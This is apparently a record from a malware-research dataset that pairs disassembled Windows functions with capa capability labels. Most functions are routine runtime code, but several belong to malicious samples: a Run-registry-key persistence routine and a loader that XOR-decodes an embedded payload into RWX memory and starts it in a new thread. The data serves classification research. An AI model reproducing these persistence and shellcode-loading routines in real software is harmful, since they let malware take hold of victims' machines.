joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001fd0
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0xa0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x98], rax
mov rbx, rcx
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
lea rcx, [rsp + 0x78]
call fcn.1400015b0
nop
lea rdx, str.Organic
lea rcx, [rsp + 0x58]
call fcn.1400015b0
lea rdx, [rsp + 0x78]
cmp qword [rsp + 0x90], 7
cmova rdx, qword [rsp + 0x78]
xor edi, edi
mov qword [rsp + 0x40], rdi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1400020b6
mov eax, dword [rbx + 0x10]
lea eax, [rax*2 + 2]
cmp eax, 0x40000000
jae 0x1400020ab
cmp qword [rbx + 0x18], 7
jbe 0x14000207d
mov rbx, qword [rbx]
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
cmova rdx, qword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x1400020fb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400020f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400020f6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400021ec
movdqa xmm0, xmmword [0x1400044f0]
movdqu xmmword [rsp + 0x68], xmm0
mov word [rsp + 0x58], di
mov rdx, qword [rsp + 0x90]
cmp rdx, 7
jbe 0x140002156
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002151
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002151
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400021ec
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.140002190
mov rbx, qword [rsp + 0xb8]
add rsp, 0xa0
pop rdi
ret

Function at 0x140002b44
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002b8e
mov ecx, RtlCaptureContext
cmp word [rax], cx
jne 0x140002b8e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002b8e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002b8e
cmp dword [rcx + 0x84], 0xe
jbe 0x140002b8e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002b90
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
push rbx
sub rsp, 0x30
xor ecx, ecx
mov edx, 0xc1
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x14000104c
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400010f0
mov rcx, rax
lea rdx, [0x1400012a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
add rsp, 0x30
pop rbx
ret
movdqa xmm1, xmmword [0x140003300]
lea rdx, [0x140005080]
xor eax, eax
nop dword [rax]
movdqu xmm0, xmmword [rax + rdx]
xorps xmm0, xmm1
movdqu xmmword [rax + rdx], xmm0
movdqu xmm0, xmmword [rax + rdx + 0x10]
xorps xmm0, xmm1
movdqu xmmword [rax + rdx + 0x10], xmm0
movdqu xmm0, xmmword [rax + rdx + 0x20]
xorps xmm0, xmm1
movdqu xmmword [rax + rdx + 0x20], xmm0
movdqu xmm0, xmmword [rax + rdx + 0x30]
xorps xmm0, xmm1
movdqu xmmword [rax + rdx + 0x30], xmm0
add rax, 0x40
cmp rax, 0xc0
jb 0x140001060
mov r8d, 0xc1
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
xor r9d, r9d
mov qword [rsp + 0x28], 0
mov r8, rbx
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
add rsp, 0x30
pop rbx
ret

Function at 0x140001c28
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001c72
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001c72
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001c72
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001c72
cmp dword [rcx + 0x84], 0xe
jbe 0x140001c72
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001c74
xor al, al
add rsp, 0x28
ret
Function at 0x1400c6e7e
Capabilities:
Hash data using fnv

Disassembly:
jmp 0x140138920
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov qword [rsp], 0
jmp 0x140138948
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
mov rax, qword [rsp + 0x30]
cmp qword [rsp], rax
jae 0x140138992
mov rax, qword [rsp]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x20]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
movabs rax, 0x100000001b3
mov rcx, qword [rsp + 0x20]
imul rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
jmp 0x14013893d
mov rax, qword [rsp + 0x20]
add rsp, 0x18
ret
Function at 0x1400c8535
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14018bd20
mov rax, rcx
neg rcx
test rax, 7
je 0x14018bd3d
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x14018bd98
test al, 7
jne 0x14018bd30
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x14018bd51
mov rdx, qword [rax - 8]
test dl, dl
je 0x14018bdc2
test dh, dh
je 0x14018bdbc
shr rdx, 0x10
test dl, dl
je 0x14018bdb6
test dh, dh
je 0x14018bdb0
shr rdx, 0x10
test dl, dl
je 0x14018bdaa
test dh, dh
je 0x14018bda4
shr edx, 0x10
test dl, dl
je 0x14018bd9e
test dh, dh
jne 0x14018bd51
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret

Function at 0x1400c856c
Capabilities:
Query environment variable

Disassembly:
jmp 0x140236520
sub rsp, 0x78
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.1402360a0
lea rcx, [rsp + 0x20]
call fcn.1402360f0
movzx eax, al
test eax, eax
jne 0x140236565
mov qword [rsp + 0x40], 0
lea rcx, [rsp + 0x20]
call fcn.1402360d0
mov rax, qword [rsp + 0x40]
jmp 0x14023665f
lea rcx, [rsp + 0x20]
call fcn.1402361f0
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
call fcn.140236190
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x48]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
shl rax, 1
mov r9d, 0x40
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, rax
call fcn.1400c8909
mov rdx, rax
lea rcx, [rsp + 0x28]
call fcn.1400c7ef0
lea rcx, [rsp + 0x28]
call fcn.1400c8e18
movzx eax, al
test eax, eax
jne 0x1402365ff
mov qword [rsp + 0x50], 0
lea rcx, [rsp + 0x28]
call fcn.1400ca330
lea rcx, [rsp + 0x20]
call fcn.1402360d0
mov rax, qword [rsp + 0x50]
jmp 0x14023665f
lea rcx, [rsp + 0x20]
call fcn.1402361f0
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x28]
call fcn.1400cb325
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x38]
shl rax, 1
mov r8, rax
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
call fcn.1400c8837
lea rcx, [rsp + 0x28]
call fcn.1400cbcc1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x28]
call fcn.1400ca330
lea rcx, [rsp + 0x20]
call fcn.1402360d0
mov rax, qword [rsp + 0x68]
add rsp, 0x78
ret
Function at 0x1400c8ab2
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x140187b80
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.140187500
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140187bbf
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1402d5020]
jmp 0x140187bc9
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret

Function at 0x1400c8d55
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x140187ab0
mov qword [rsp + 8], rcx
sub rsp, 0x48
call fcn.140187480
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140187af1
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1402d5020]
jmp 0x140187af7
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
add rsp, 0x48
ret

Function at 0x1400c8e27
Capabilities:
Get geographical location

Disassembly:
jmp 0x140221680
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
call fcn.1402205b0
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x1402216e7
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
movabs r10, 0xe375262d7cd44270
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x40]
call qword [0x1402d5030]
jmp 0x140221709
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.1400c8080
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
add rsp, 0x58
ret

Function at 0x1400c8e3b
Capabilities:
Terminate process

Disassembly:
jmp 0x1401652b0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x1400c91dd
Capabilities:
Print debug messages

Disassembly:
jmp 0x1402449a0
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x50
lea rbp, [rsp + 0x30]
mov rax, qword [0x1402b7080]
xor rax, rbp
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x30], 0
jne 0x1402449c6
jmp 0x140244a43
mov rcx, qword [rbp + 0x30]
call fcn.1400c8535
inc rax
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x1402449df
jmp 0x140244a43
mov rax, qword [rbp]
shl rax, 1
mov rcx, rax
add rcx, 0xf
cmp rcx, rax
ja 0x1402449fc
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.1400c6f28
sub rsp, rax
lea rax, [rsp + 0x30]
mov qword [rbp + 8], rax
mov rax, qword [rbp]
dec rax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x30]
mov r8, qword [rbp]
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x10]
call fcn.1400c7536
test eax, eax
jne 0x140244a43
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.1400c8814
lea rsp, [rbp + 0x20]
pop rbp
ret

Function at 0x1400c962e
Capabilities:
Set environment variable

Disassembly:
jmp 0x1402383d0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x38]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
add rsp, 0x28
ret

Function at 0x1400c996c
Capabilities:
Parse pe header

Disassembly:
jmp 0x1401661e0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140166200
xor al, al
jmp 0x140166281
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140166213
xor al, al
jmp 0x140166281
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14016623d
xor al, al
jmp 0x140166281
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140166251
xor al, al
jmp 0x140166281
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140166263
xor al, al
jmp 0x140166281
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14016627f
xor al, al
jmp 0x140166281
mov al, 1
add rsp, 0x38
ret
Function at 0x1400ca1ff
Capabilities:
Terminate process

Disassembly:
jmp 0x140188b70
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x140188b9e
mov ecx, 5
int 0x29
mov r8d, 1
mov edx, 0xc0000417
mov ecx, 2
call fcn.1400cae02
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000417
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400ca993
Capabilities:
Enumerate process modules

Disassembly:
jmp 0x1400dfb50
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x748
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x13a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x768]
mov rax, qword [0x1402b7080]
xor rax, rbp
mov qword [rbp + 0x718], rax
lea rcx, [0x1402d40f6]
call fcn.1400cb40b
nop
mov edx, 8
lea rcx, [rbp + 8]
call fcn.1400c6523
mov edx, dword [rbp + 0x740]
mov ecx, 8
call fcn.1400c876a
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.1400c68c5
nop
lea rcx, [rbp + 8]
call fcn.1400c68e8
movzx eax, al
test eax, eax
jne 0x1400dfc17
lea rdx, str.Failed_to_create_module_snapshot.
lea rcx, [0x1402b9d40]
call fcn.1400c8ac1
lea rdx, [0x1400c8850]
mov rcx, rax
call fcn.1400ca204
nop
mov byte [rbp + 0x6e4], 0
lea rcx, [rbp + 8]
call fcn.1400c9fc0
movzx eax, byte [rbp + 0x6e4]
jmp 0x1400dfcbe
mov dword [rbp + 0x30], 0x438
mov byte [rbp + 0x484], 0
lea rcx, [rbp + 8]
call fcn.1400caf4c
lea rdx, [rbp + 0x30]
mov rcx, rax
call fcn.1400c93a9
test eax, eax
je 0x1400dfc7e
mov rcx, qword [rbp + 0x748]
call fcn.1400c7c93
mov rdx, rax
lea rcx, [rbp + 0x60]
call fcn.1400cb249
test eax, eax
jne 0x1400dfc63
mov byte [rbp + 0x484], 1
jmp 0x1400dfc7c
lea rcx, [rbp + 8]
call fcn.1400caf4c
lea rdx, [rbp + 0x30]
mov rcx, rax
call fcn.1400c6c35
test eax, eax
jne 0x1400dfc3e
jmp 0x1400dfca1
lea rdx, str.Failed_to_get_the_first_module_entry.
lea rcx, [0x1402b9d40]
call fcn.1400c8ac1
lea rdx, [0x1400c8850]
mov rcx, rax
call fcn.1400ca204
nop
movzx eax, byte [rbp + 0x484]
mov byte [rbp + 0x704], al
lea rcx, [rbp + 8]
call fcn.1400c9fc0
movzx eax, byte [rbp + 0x704]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14026a460]
call fcn.1400ca579
mov rax, rdi
mov rcx, qword [rbp + 0x718]
xor rcx, rbp
call fcn.1400c8814
lea rsp, [rbp + 0x728]
pop rdi
pop rbp
ret
Function at 0x1400cae89
Capabilities:
Print debug messages

Disassembly:
jmp 0x140217570
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret
Function at 0x1400caff1
Capabilities:
Set thread local storage value

Disassembly:
jmp 0x140187bf0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.140187540
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140187c39
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1402d5020]
jmp 0x140187c48
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
add rsp, 0x48
ret

Function at 0x1400cb2e4
Capabilities:
Enumerate processes

Disassembly:
jmp 0x1400df3d0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x488
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xba
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x4a8]
mov rax, qword [0x1402b7080]
xor rax, rbp
mov qword [rbp + 0x458], rax
lea rcx, [0x1402d40f6]
call fcn.1400cb40b
nop
mov dword [rbp + 4], 0
mov edx, 8
lea rcx, [rbp + 0x28]
call fcn.1400c6523
xor edx, edx
mov ecx, 2
call fcn.1400c876a
mov rdx, rax
lea rcx, [rbp + 0x28]
call fcn.1400c68c5
nop
lea rcx, [rbp + 0x28]
call fcn.1400c68e8
movzx eax, al
test eax, eax
jne 0x1400df499
lea rdx, str.Failed_to_create_process_snapshot.
lea rcx, [0x1402b9d40]
call fcn.1400c8ac1
lea rdx, [0x1400c8850]
mov rcx, rax
call fcn.1400ca204
nop
mov dword [rbp + 0x424], 0
lea rcx, [rbp + 0x28]
call fcn.1400c9fc0
mov eax, dword [rbp + 0x424]
jmp 0x1400df533
mov dword [rbp + 0x50], 0x238
lea rcx, [rbp + 0x28]
call fcn.1400caf4c
lea rdx, [rbp + 0x50]
mov rcx, rax
call fcn.1400c925f
test eax, eax
je 0x1400df4f8
mov rcx, qword [rbp + 0x480]
call fcn.1400c7c93
mov rdx, rax
lea rcx, [rbp + 0x7c]
call fcn.1400cb249
test eax, eax
jne 0x1400df4dd
mov eax, dword [rbp + 0x58]
mov dword [rbp + 4], eax
jmp 0x1400df4f6
lea rcx, [rbp + 0x28]
call fcn.1400caf4c
lea rdx, [rbp + 0x50]
mov rcx, rax
call fcn.1400ca803
test eax, eax
jne 0x1400df4b9
jmp 0x1400df51b
lea rdx, str.Failed_to_get_the_first_process_entry.
lea rcx, [0x1402b9d40]
call fcn.1400c8ac1
lea rdx, [0x1400c8850]
mov rcx, rax
call fcn.1400ca204
nop
mov eax, dword [rbp + 4]
mov dword [rbp + 0x444], eax
lea rcx, [rbp + 0x28]
call fcn.1400c9fc0
mov eax, dword [rbp + 0x444]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14026a2a0]
call fcn.1400ca579
mov rax, rdi
mov rcx, qword [rbp + 0x458]
xor rcx, rbp
call fcn.1400c8814
lea rsp, [rbp + 0x468]
pop rdi
pop rbp
ret
Function at 0x14022a510
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.1400c6f28
sub rsp, rax
mov rax, qword [0x1402b7080]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x1402bbd30]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x14022a702
lea rax, [rsp + 0x147f]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x38], rax
jae 0x14022a656
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x14022a656
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax]
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x30]
cmp eax, 0xa
jne 0x14022a63b
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x38]
mov byte [rax], 0xd
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, byte [rsp + 0x30]
mov byte [rax], cl
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
jmp 0x14022a5d8
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14022a6c2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68], eax
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x14022a721
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x44], eax
jae 0x14022a6fd
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x14022a721
jmp 0x14022a5ae
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.1400c8814
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x14022a7d0
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.1400c6f28
sub rsp, rax
mov rax, qword [0x1402b7080]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x1402bbd30]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x14022a9dd
lea rax, [rsp + 0x147e]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
cmp qword [rsp + 0x38], rax
jae 0x14022a929
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x14022a929
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
mov word [rsp + 0x40], ax
mov rax, qword [rsp + 0x50]
add rax, 2
mov qword [rsp + 0x50], rax
movzx eax, word [rsp + 0x40]
mov word [rsp + 0x30], ax
movzx eax, word [rsp + 0x30]
cmp eax, 0xa
jne 0x14022a909
mov eax, dword [rsp + 0x78]
add eax, 2
mov dword [rsp + 0x78], eax
mov eax, 0xd
mov rcx, qword [rsp + 0x38]
mov word [rcx], ax
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, word [rsp + 0x30]
mov word [rax], cx
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
jmp 0x14022a898
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov eax, eax
shl rax, 1
mov dword [rsp + 0x44], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x44]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14022a99d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x70], eax
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x14022a9fc
mov eax, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x48], eax
jae 0x14022a9d8
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x14022a9fc
jmp 0x14022a86e
